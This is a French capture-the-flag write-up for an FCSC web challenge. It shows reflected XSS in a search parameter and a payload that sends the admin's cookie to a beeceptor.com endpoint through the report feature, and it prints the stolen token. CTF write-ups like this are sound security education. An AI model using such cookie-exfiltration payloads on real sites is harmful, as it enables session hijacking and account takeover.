Indication :
J’ai construit un site sans prétention pour stocker ma collection de memes !
https://france-cybersecurity-challenge.fr
Ce challenge du FCSC était assez facile. D’ailleurs il y a eu 300 résolutions. En suivant le lien donné on arrive sur le site web suivant :
Étant donné la difficulté du challenge, je me dis que cela soit être du XSS où il faut récupérer le cookie de l’administrateur. Soit de l’injection SQL.
XSS is the way
En explorant le site, on se rend compte que la barre de recherche est vulnérable aux injection XSS avec une payload classique :
<script>alert(1)</script>
En regardant l’url on voit que l’élement à rechercher est passé via un paramètre GET :
/?search=<script>alert(1)</script>
Puisque l’on peut exécuter du javascript, il donc possible d’exfiltrer le cookie de l’administrateur si besoin avec le payload suivant :
/?search=<script>window.location=`https://dffdfd.free.beeceptor.com/${document.cookie}`</script>
Pieger l’admin
Maintenant que nous avons notre vecteur il faut trouver un moyen de forcer l’administrateur à faire une recherche avec notre payload. En regardant sur le site on constate qu’il y a une fonctionnalité permettant de signaler une image.
En cliquant dessus on est redirigé vers une page qui nous indique le signalement a bien été pris en compte et que l’administrateur vérifiera l’image.
En regardant l’url de cette page, je me dis BINGO !! En effet l’url est la suivante :
https://gare-au-gorille.france-cybersecurity-challenge.fr/report?url=/?search=meme_03.jpg
On constate que le paramètre report
prend comme valeur un lien interne vers la page de recherche. La suite est donc toute logique. Changer cette url pour faire executer notre payload à l’administrateur.
/report?url=/?search=<script>window.location=`https://luuun.free.beeceptor.com/${document.cookie}`</script>
Ici j’utilise beeceptor pour récupérer la valeur du cookie :
/token=O9Mv3sFaQD1UpQRLCXVOCzCi0dRbpz4Wy4kGPngZt36MZnR6xZpbHLQRWfDi6T45
Exploitation
En changer la valeur token
dans nos cookies et en allant dans la section https://gare-au-gorille.france-cybersecurity-challenge.fr/flag
. On a le flag qui s’affiche :